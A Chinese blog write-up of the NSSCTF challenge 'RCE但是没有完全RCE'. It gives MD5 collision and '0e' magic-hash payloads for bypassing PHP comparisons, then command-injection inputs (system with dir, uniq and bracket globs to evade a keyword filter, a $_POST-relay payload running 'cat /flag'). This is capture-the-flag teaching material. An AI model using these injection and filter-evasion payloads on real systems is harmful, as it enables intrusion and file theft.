首页 > 其他分享 >[NSSRound#16 Basic]RCE但是没有完全RCE

[NSSRound#16 Basic]RCE但是没有完全RCE

时间:2024-01-18 11:22:06浏览次数:34  
标签:查看 16 NSSRound 可以 cmd RCE POST md5

题目代码:
image.png

<?php
error_reporting(0);
highlight_file(__file__);
include('level2.php');
if (isset($_GET['md5_1']) && isset($_GET['md5_2'])) {
    if ((string)$_GET['md5_1'] !== (string)$_GET['md5_2'] && md5($_GET['md5_1']) === md5($_GET['md5_2'])) {
        if (isset($_POST['md5_3'])&&md5($_POST['md5_3']) == md5($_POST['md5_3'])) {
            echo $level2;
        } else {
            echo "您!!!!!那么现在阁下又该如何应对呢";
        }
    } else {
        echo "还在用传统方法????";
    }
} else {
    echo "来做做熟悉的MD5~";
}

第一个是md5强类型比较,用数组md5_1[]=1&md5_2[]=2不行,那就用md5碰撞,使用payload:

?md5_1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&md5_2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

第二个是md5弱类型比较,
只要两个数的md5加密后的值以0e开头就可以绕过,因为php在进行弱类型比较(即==)时,会先转换字符串的类型,再进行比较,而在比较时因为两个数都是以0e开头会被认为是科学计数法,0e后面加任何数在科学计数法中都是0,所以两数相等,
使用这些payload都可以:

240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361

然后就通过了第一关:
image.png

第二关,访问3z_RC3.php
image.png
GET传参cmd=dir /,POST传参shell=system
因为l被过滤了,用不了ls,所以可以用dir
然后再根目录发现flag
image.png
cat用不了可以用more``uniq等等很多,具体可以参考大佬博客:[http://t.csdnimg.cn/LMuXV](http://t.csdnimg.cn/LMuXV)

more:一页一页的显示档案内容
less:与 more 类似 head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看 file -f:报错出具体内容 grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings

然后f``l``a``g``?``*都被过滤了,这时候可以用中括号[]来进行正则匹配.
例如[a-z]就表示匹配字母a到字母z中的任意一个字符
那就把GET传的参数改为?cmd=uniq /[e-h][k-n][^-b][e-h]
最后就得到flag了
image.png

NSSCTF{acd8b315-208c-4f87-8365-c697f9db397c}

收集其他师傅的payload:

/3z_RC3.php?cmd=system($_POST[1]);

shell=urldecode&1=cat /flag

这里妙就妙在让$shell形同虚设,让$cmd自成一个包含函数和参数的完整命令执行。再要绕waf很自然就想到用$_POST[1]来转接。

标签:查看,16,NSSRound,可以,cmd,RCE,POST,md5
From: https://www.cnblogs.com/Fab1an/p/17972134

相关文章

  • CodeForces 986F Oppa Funcan Style Remastered
    洛谷传送门CF传送门有意思的。对\(k\)分解质因数,题目实际上是想让我们解一个\(\sum\limits_{i=1}^ma_ix_i=n\)的方程。考虑\(m=1\)特判,\(m=2\)exgcd。\(m=3\)时发现\(\min\limits_{i=1}^ma_i\lek^{\frac{1}{3}}\le10^5\),所以可以跑同余最短路。......
  • 洛谷题单指南-模拟和高精度-P1601 A+B Problem
    原题链接:https://www.luogu.com.cn/problem/P1601题意解读:本题是高精度加法的模版题。知识点解析:  高精度加法:  如果一个数大到远超过整形变量的范围时,就不能使用int、long、longlong等变量来存储整数,也不能直接通过变量加法来求和。  因此,需要回到加法计算的本质,从个......
  • CodeForces 814E An unavoidable detour for home
    洛谷传送门CF传送门考虑给图分层,一层的点一一对应上一层的一些点。设\(f_{i,j}\)为考虑了前\(i\)个点,最后一层有\(j\)个点,除了最后一层点的其他点度数限制已经满足的方案数。转移系数是\(g_{i,j,k}\)表示这一层有\(i\)个点,上一层有\(j\)个\(2\)度点,\(k\)个......
  • CF1633B题解
    Minority题面翻译给定一个\(01\)字符串\(s\),定义\(c_k(l,r)\)表示\(s\)的由下标为\([l,r]\)中的字母构成的连续子串中\(k\)的个数。定义\(f(l,r)=\begin{cases}c_0(l,r)&c_0(l,r)<c_1(l,r)\\c_1(l,r)&c_0(l,r)>c_1(l,r)\\0&c_0(l,r)=c_1(l,r)\end{cases}\),求......
  • Codeforces Round 920 (Div. 3)
    题目链接:CodeforcesRound920(Div.3)PS:很长时间没写题,状态不好,写的很差A.Square题意:给出正方形四个点的坐标,求面积解题思路:签到查看代码 voidsolve(){ vector<PII>v; for(inti=1;i<=4;i++){ intx,y; cin>>x>>y; v.push_back({x,y}); } sort......
  • CF1633A题解
    Div.7题面翻译给定\(t\)组数据。每组数据给定一个数\(n\)(\(10\len\le999\))。每次操作可以修改\(n\)任意一位上的数,将这一位上的数修改为\(0\sim9\)之间的任意数。要求使用最少的修改次数使这个数修改后是\(7\)的倍数,并且没有多余的前导\(0\)。输出修改后的数,如......
  • hey_left 5 Codeforces Round 898 (Div. 4)
    题目链接A.一次交换,最多让两个字符归位若三个字符都不在该在的位置上,那么无法完成若有一个字符在该在的位置上,那么可以完成usingnamespacestd;voidsolve(){chara,b,c;cin>>a>>b>>c;if(a=='a'||b=='b'||c=='c'){cout<<"YES"<<&......
  • hey_left 4 Codeforces Round 898 (Div. 4) 续
    题目链接F.先把序列分割成一个个满足条件的子序列然后二分长度,去判断子序列是否满足长度,若有一个满足,这个答案可行,判断更长的长度debug:存下的子序列忽略了单个元素,单个元素也是一个子序列,把每个元素单独作为一个子序列后可以ac题解有更简单的做法,双指针,直接遍历一遍得到答案......
  • ARC162F Montage
    脑子被吃掉了。手玩一下,容易转化题意为:按行从上到下填\(0/1\)矩阵,设第\(i\)个非空行上是\(1\)的位置的集合为\(S_i\),满足:对于任意\(i>1\),令\(D=S_i\cupS_{i-1}\)。若\(D=\varnothing\),则\(S_i\)中所有元素均比\(S_{i-1}\)中任意元素小,即\(\max\limits_{i\i......
  • CF1637A题解
    SortingParts题面翻译给定一个长度为n的数组a。你可以执行恰好一次操作。每次操作选择一个在[1,n-1]内的整数len,然后将数组a中长度为len的前缀和长度为n-len的后缀分别排序。请判断是否能够通过操作,使得最终的数组a不满足\foralli\in[1,n),a_i<=a(i+1)。数据范......